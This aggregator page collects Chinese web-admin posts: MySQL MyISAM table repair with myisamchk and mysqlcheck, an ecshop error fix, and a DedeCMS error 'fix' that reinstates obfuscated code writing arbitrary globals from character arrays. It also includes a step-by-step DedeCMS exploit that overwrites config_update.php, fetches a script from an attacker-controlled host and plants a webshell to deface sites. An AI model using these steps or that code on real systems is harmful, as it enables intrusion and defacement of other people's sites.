GVKun编程网logo

dedecmsmysql错误:……is marked as crashed and should be(mysqldeclare报错)

17

针对dedecmsmysql错误:……ismarkedascrashedandshouldbe和mysqldeclare报错这两个问题,本篇文章进行了详细的解答,同时本文还将给你拓展''Tableis

针对dedecmsmysql错误:……is marked as crashed and should bemysqldeclare报错这两个问题,本篇文章进行了详细的解答,同时本文还将给你拓展''Table is Marked as crashed and should be repaired Error''.Mysql表损坏解决方案、dedecms的dedesql.class.php on line 489错误的解决方法、DeDecms远程写入漏洞webshell (dedecms漏洞)、ecshop Strict standards: Only variables should be passed by等相关知识,希望可以帮助到你。

本文目录一览:

dedecmsmysql错误:……is marked as crashed and should be(mysqldeclare报错)

dedecmsmysql错误:……is marked as crashed and should be(mysqldeclare报错)

 

mysql错误:……is marked as crashed and should be repaired!

  用的修复命令是:myisamchk -r bbsthreads

  其中bbsthreads是我出问题的表名,当然使用这个命令还得进入mysql你所出问题的数据库的表的存放路径,具体更详细的命令可以看帮助:myisamchk --help;

  如果用以上命令你不能解决问题请看后面,后面的内容是我转载的。

  我的网站出问题了,访问一看,果然全屏报错,检查mysqllog,错误信息为:

  Table '.\dedecmsv4\dede_archives' is marked as crashed and should be repaired

  提示说cms的新闻表dede_archives被标记有问题,需要修复。于是赶快恢复历史数据,上网查找原因。*终将问题解决。解决办法如下:

  找到mysql的安装目录的bin/myisamchk工具,在命令行中输入:

  myisamchk -c -r ../data/dedecmsv4/dede_archives.MYI

  然后myisamchk 工具会帮助你恢复数据表的索引。重新启动mysql,问题解决。

  问题分析:

  1、错误产生原因,有网友说是频繁查询和更新dede_archives表造成的索引错误,因为我的页面没有静态生成,而是动态页面,因此比较同意这种说法。还有说法为是MYSQL数据库因为某种原因而受到了损坏,如:数据库服务器突发性的断电、在提在数据库表提供服务时对表的原文件进行某种操作都有可能导致MYSQL数据库表被损坏而无法读取数据。总之就是因为某些不可测的问题造成表的损坏。

  问题的编号为145

  2、问题解决方案。

  当你试图修复一个被破坏的表的问题时,有三种修复类型。如果你得到一个错误信息指出一个临时文件不能建立,删除信息所指出的文件并再试一次--这通常是上一次修复操作遗留下来的。

  这三种修复办法如下所示:

  % myisamchk --recover --quick /path/to/tblName

  % myisamchk --recover /path/to/tblName

  % myisamchk --safe-recover /path/to/tblName

  *种是*快的,用来修复*普通的问题;而*后一种是*慢的,用来修复一些其它办法所不能修复的问题。

  检查和修复MySQL数据文件

  如果上面的办法无法修复一个被损坏的表,在你放弃之前,你还可以试试下面这两个技巧:

  如果你怀疑表的索引文件(*.MYI)发生了不可修复的错误,甚至是丢失了这个文件,你可以使用数据文件(*.MYD)和数据格式文件(*.frm)重新生成它。首先制作一个数据文件(tblName.MYD)的拷贝。重启你的MySQL服务并连接到这个服务上,使用下面的命令删除表的内容:

  mysql> DELETE FROM tblName;

  在删除表的内容的同时,会建立一个新的索引文件。退出登录并重新关闭服务,然后用你刚才保存的数据文件(tblName.MYD)覆盖新的(空)数据文件。*后,使用myisamchk执行标准的修复(上面的第二种办法),根据表的数据的内容和表的格式文件重新生成索引数据。

  如果你的表的格式文件(tblName.frm)丢失了或者是发生了不可修复的错误,但是你清晰怎么使用相应的CREATE TABLE语句来重新生成这张表,你可以重新生成一个新的.frm文件并和你的数据文件和索引文件(如果索引文件有问题,使用上面的办法重建一个新的)一起使用。首先制作一个数据和索引文件的拷贝,然后删除原来的文件(删除数据目录下有关这个表的所有记录)。

  启动MySQL服务并使用当初的CREATE TABLE文件建立一个新的表。新的.frm文件需要可以正常工作了,但是*好你还是执行一下标准的修复(上面的第二种办法)。

  3、myisamchk工具介绍(见mysql的官方手册)

  可以使用myisamchk实用程序来获得有关数据库表的信息或检查、修复、优化他们。myisamchk适用MyISAM表(对应.MYI和.MYD文件的表)。

  调用myisamchk的办法:

  shell> myisamchk [options] tbl_name ...

  options指定你想让myisamchk做什么。在后面描述它们。还可以通过调用myisamchk --help得到选项列表。

  tbl_name是你想要检查或修复的数据库表。如果你不在数据库目录的某处运行myisamchk,你必须指定数据库目录的路径,因为myisamchk不知道你的数据库位于哪儿。实际上,myisamchk不在乎你正在操作的文件是否位于一个数据库目录;你可以将对应于数据库表的文件拷贝到别处并且在那里执行恢复操作。

  如果你愿意,可以用myisamchk命令行命名几个表。还可以通过命名索引文件(用“ .MYI”后缀)来指定一个表。它允许你通过使用模式“*.MYI”指定在一个目录所有的表。例如,如果你在数据库目录,可以这样在目录下检查所有的MyISAM表:

  shell> myisamchk *.MYI

  如果你不在数据库目录下,可通过指定到目录的路径检查所有在那里的表:

  shell> myisamchk /path/to/database_dir/*.MYI

  你甚至可以通过为MySQL数据目录的路径指定一个通配符来检查所有的数据库中的所有表:

  shell> myisamchk /path/to/datadir/*/*.MYI

  推荐的快速检查所有MyISAM表的方式是:

  shell> myisamchk --silent --fast /path/to/datadir/*/*.MYI

  如果你想要检查所有MyISAM表并修复任何破坏的表,可以使用下面的命令:

  shell> myisamchk --silent --force --fast --update-state \

  -O key_buffer=64M -O sort_buffer=64M \

  -O read_buffer=1M -O write_buffer=1M \

  /path/to/datadir/*/*.MYI

  该命令假定你有大于64MB的自由内存。关于用myisamchk分配内存的详细信息,参见5.9.5.5节,“myisamchk内存使用”。

  当你运行myisamchk时,必须确保其它程序不使用表。否则,当你运行myisamchk时,会显示下面的错误消息:

  warning: clients are using or haven't closed the table properly

  这说明你正尝试检查正被另一个还没有关闭文件或已经终止而没有正确地关闭文件的程序(例如mysqld服务器)更新的表。

#p#分页标题#e#

  如果mysqld正在运行,你必须通过FLUSH TABLES强制清空仍然在内存中的任何表修改。当你运行myisamchk时,必须确保其它程序不使用表。避免该问题的*容易的办法是使用CHECK TABLE而不用myisamchk来检查表。

本文章网址:http://www.ppssdd.com/code/10493.html。转载请保留出处,谢谢合作!

''Table is Marked as crashed and should be repaired Error''.Mysql表损坏解决方案

''Table is Marked as crashed and should be repaired Error''.Mysql表损坏解决方案

问题表现:由于服务器崩溃导致表损坏无法打开或者能打开但是无法写入数据(提示主键重复但实际没有该主键且该主键值在最大值范围内)。

本文提供两种检查修复方式:mysqlcheck 和 myisamchk ,均在MySQL安装目录bin文件夹下。

一、MysqlCheck 和 Myisamchk 的区别

  mysqlcheck 和 myisamchk 程序主要用于检查和修复数据表(主要是 MyISAM 表),比如由于服务器崩溃导致的 MyISAM 表损坏。以下是两者的比较:

  1、两者均能检测、修复、分析 MyISAM 类型表。 mysqlcheck 还能优化 MyISAM 表,同时还能检测 InnoDB 类型表,分析 BDB 表。但有些操作是 mysqlcheck 不能匹敌的,比如,myisamchk 可以启动和禁止索引。

  2、二者在使用上有着很大的区别。mysqlcheck 是一个客户端程序,可通过网络连接到服务器。他提供了一个可对接服务器表维护指令的命令行接口,比如 CHECK TABLE 和 REPAIR TABLE。mysqlcheck会依据命令行上输入的指令,发送对应的SQL描述到服务器,供服务器执行。这就意味着服务器必须是处于启动运行状态,同时也意味着你能够通过 mysqlcheck 连接到远程服务器。相反, myisamchk 不是客户端程序,他是一个直接操作 MyISAM 物理表的通用工具。这就意味着你必须在 MyISAM 表文件所在的服务器上使用这个工具。同时,当你检测表时需要有文件读取权限,当修复表时需要有写入权限。

  3、两者在运行时,与服务器的关系也大不相同。使用 mysqlcheck 时,你仍可以和服务器进行交互。因为 mysqlcheck 是要求服务器自己去进行表的检测和修复。使用 myisamchk 时,你需要确保服务器并没有打开目标表且目标表没有被其他人使用中。如果myisamchk和mysql server同时对表操作,可能导致表被损坏。因此,为了避免这种情况的发生,在使用 myisamchk 时应停掉MySQL服务。 myisamchk 在检测修复表的过程中可能会锁定表文件。

二、MysqlCheck 使用简介

1、远程检测表,如图(表正常):

 

2、服务器端使用 mysqlcheck 时则不需要指定远程服务器地址,如图(表存在问题):

 

 指令说明:

-c 检查操作,后边跟数据库名称 [表名]

-h 主机地址

-P 端口号

-u 用户名

-p 密码

注意:

  1)如果提示 “mysqlcheck: [ERROR] unknown option ''--no-beep''” ,则需要修改MySQL配置文件,将 [client] 下的 no-beep 注释掉(注释符号 #)

  2)命令使用过程中需要输入用户凭证,如果服务器端存在多个实例,还需要指定实例端口号。

 

3、使用 mysqlcheck 修复表,如下图:

 mysqlcheck 不能修复唯一键不唯一的错误...

指令说明:

-r 数据修复.Perform a repair that can fix almost anything except unique keys that are not unique.

更多相关操作,看这里

 

三、Myisamchk 使用简介

  如第一部分,该工具只能在服务器端使用,且需要关闭MySQL服务。

使用 Myisamchk 修复数据,需要进入到MySQL物理库对应的文件夹,然后执行修复指令,如下图:

  指令说明:

    -r 数据恢复。If you have lots of memory, you should increase the value of myisam_sort_buffer_size.

  注意:

     第一次运行时, 抛出 “myisamchk: error: myisam_sort_buffer_size is too small” 错误,此时只需要在指令后面追加 --sort_buffer_size=2G(根据需要)即可。

更多相关操作,看这里

四、使用后感

  myisamchk 修复数据时简单粗暴,感觉效率更快一下(感觉,没证据...)

  上边的两种方法均已验证,修复了我的三张表。

  表错误的表现1:[Err] 1062 - Duplicate entry ''31729205'' for key ''PRIMARY'' 主键为自增(int类型),插入的主键数据在原表中不存在。

  表错误的表现2:*** marked crashed...

  表错误的表现3:查看表对象信息时,表的基本信息表述为空

问题解决,结贴。没有更深入的研究了解,欢迎评论交流~

 

参考:

1.How to Check and Repair MySQL Tables Using Mysqlcheck

2.MySQL Table is marked as crashed and last (automatic?) repair failed

3.Using MySQL Client Programs 

4.myisamchk修复损坏的MySQL数据库方法

5.mysqlcheck — A Table Maintenance Program

6.myisamchk — MyISAM Table-Maintenance Utility

dedecms的dedesql.class.php on line 489错误的解决方法

dedecms的dedesql.class.php on line 489错误的解决方法

Dedecmsv5.7安装后,打开网站出现以下错误提示:


Fatal error: Call to undefined function parcv() in \include\dedesql.class.PHP on line 489

 

解决的办法是:
打开 include/dedesql.class.PHP
找到:
 


if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= ParCv($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= ParCv($arrs2[$i]); } $GLOBALS[$v1] .= $v2;}

 

然后将上面的代码替换为:

 


if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); } $GLOBALS[$v1] .= $v2;}

DeDecms远程写入漏洞webshell (dedecms漏洞)

DeDecms远程写入漏洞webshell (dedecms漏洞)

解释下Apache解析文件的流程:


当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名。如果所有的扩展名Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展示这个问题,一般默认情况下是“text/plain”这种方式。

那么这样的话,像1.php.bak这样的文件名就会被当做php文件所解析。这也就是传说中的Apache解析漏洞。

 

利用条件:首先,是目标站安装完cms后并没有删除install文件夹,漏洞文件为\install\index.php.bak 。

目标站点的Apache存在文件解析漏洞。即index.php.bak文件会被当做PHP脚本解析,代码如下:

else if($step==11)
{
	require_once(''../data/admin/config_update.php'');
	$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";

	$sql_content = file_get_contents($rmurl);
	$fp = fopen($install_demo_name,''w'');
	if(fwrite($fp,$sql_content))
		echo ''  <font color="green">[√]</font> 存在(您可以选择安装进行体验)'';
	else
		echo ''  <font color="red">[×]</font> 远程获取失败'';
	unset($sql_content);
	fclose($fp);
	exit();
}

原理:由于远程要包含文件的服务器地址是通过 $updateHost 控制的,那我们首先利用代码来改写../data/admin/config_update.php这个文件,使我们可以自定义 $updateHost的值,那样就可以引用任何我们想要引用的文件啦!

黑挂网站:

第一步:随便找一个网站 新建个http://xxx.xxx.xxx.xxx/dedecms/demodata.a.txt

http://xxx.xxx.xxx.xxx/dedecms/demodata.a.txt

第二步:检测远程更新是否有用,摧毁config_update.php的内容

http://目标站点/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

第三步:设置$updateHost的值,注入执行脚本等

http://目标站点/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=lx.php&updateHost=http://存放demodata.a.txt脚本的域名/

第四步:利用webshell,挂黑目标站点

shell地址:http://目标站点//install/lx.php

 

  

 

ecshop Strict standards: Only variables should be passed by

ecshop Strict standards: Only variables should be passed by

全部错误提示:strict standards: only variables should be passed by reference in **\admin\flashplay.php on line 181 在添加Flash图片时报错。 解决方法: 将 set_flash_data($_CFG[''flash_theme''], $error_msg = ''''); 改为 $error_msg = ''''; set_flash

全部错误提示:strict standards: only variables should be passed by reference in **\admin\flashplay.php on line 181

在添加Flash图片时报错。

解决方法:

将  

set_flash_data($_CFG[''flash_theme''], $error_msg = '''');

改为

$error_msg = '''';
        set_flash_data($_CFG[''flash_theme''], $error_msg);

今天关于dedecmsmysql错误:……is marked as crashed and should bemysqldeclare报错的介绍到此结束,谢谢您的阅读,有关''Table is Marked as crashed and should be repaired Error''.Mysql表损坏解决方案、dedecms的dedesql.class.php on line 489错误的解决方法、DeDecms远程写入漏洞webshell (dedecms漏洞)、ecshop Strict standards: Only variables should be passed by等更多相关知识的信息可以在本站进行查询。

本文标签: